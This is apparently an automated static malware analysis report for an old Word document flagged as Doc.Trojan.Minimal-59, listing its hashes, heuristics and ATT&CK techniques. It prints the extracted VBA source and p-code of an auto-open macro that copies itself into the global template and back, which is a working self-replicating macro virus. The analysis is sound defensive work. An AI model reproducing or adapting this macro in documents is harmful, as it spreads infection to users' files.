Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b2abb216b487fe98…

MALICIOUS

Office (OLE)

30.0 KB Created: 1998-11-24 19:27:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 5b18ee8acf9859775afca25f26ca4534 SHA-1: 2f2b296c100264484f8afb2e5d824fb855cd7e09 SHA-256: b2abb216b487fe98a87ed4cf0a334700623d1881d5ede09b43f002f00cd5d4b6
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is a legacy Word document containing a VBA macro named 'AutoopeN' which is designed to copy itself. The presence of the 'AutoopeN' macro and the 'OLE_VBA_AUTOOPEN' heuristic indicates an attempt to execute malicious code upon opening. The macro's logic suggests it might be part of a downloader or a mechanism to ensure persistence or further infection.

Heuristics 4

  • ClamAV: Doc.Trojan.Minimal-59 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minimal-59
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1497 bytes
SHA-256: e2fcdd9037eba4b6ea5350b78405fbc419130aa545d5a2d122c7a2f1bccd51ae
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoopeN"

Public Sub MAIN()
Dim c$
Dim a$
Dim b$
On Error Resume Next: c$ = ":aUtOoPen": a$ = WordBasic.[FileName$]() + c$: b$ = "Global" + c$: WordBasic.MacroCopy a$, b$: WordBasic.FileSaveAs Format:=1: WordBasic.MacroCopy b$, a$
End Sub

' Processing file: /opt/analyzer/scan_staging/3585341ff4f449bda20468a56bdf4036.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoopeN - 1749 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn c
' Line #3:
' 	Dim 
' 	VarDefn a
' Line #4:
' 	Dim 
' 	VarDefn B
' Line #5:
' 	OnError (Resume Next) 
' 	BoS 0x0000 
' 	LitStr 0x0009 ":aUtOoPen"
' 	St c$ 
' 	BoS 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	Ld c$ 
' 	Add 
' 	St a$ 
' 	BoS 0x0000 
' 	LitStr 0x0006 "Global"
' 	Ld c$ 
' 	Add 
' 	St B$ 
' 	BoS 0x0000 
' 	Ld a$ 
' 	Ld B$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' 	BoS 0x0000 
' 	LitDI2 0x0001 
' 	ParamNamed Format$ 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' 	BoS 0x0000 
' 	Ld B$ 
' 	Ld a$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #6:
' 	EndSub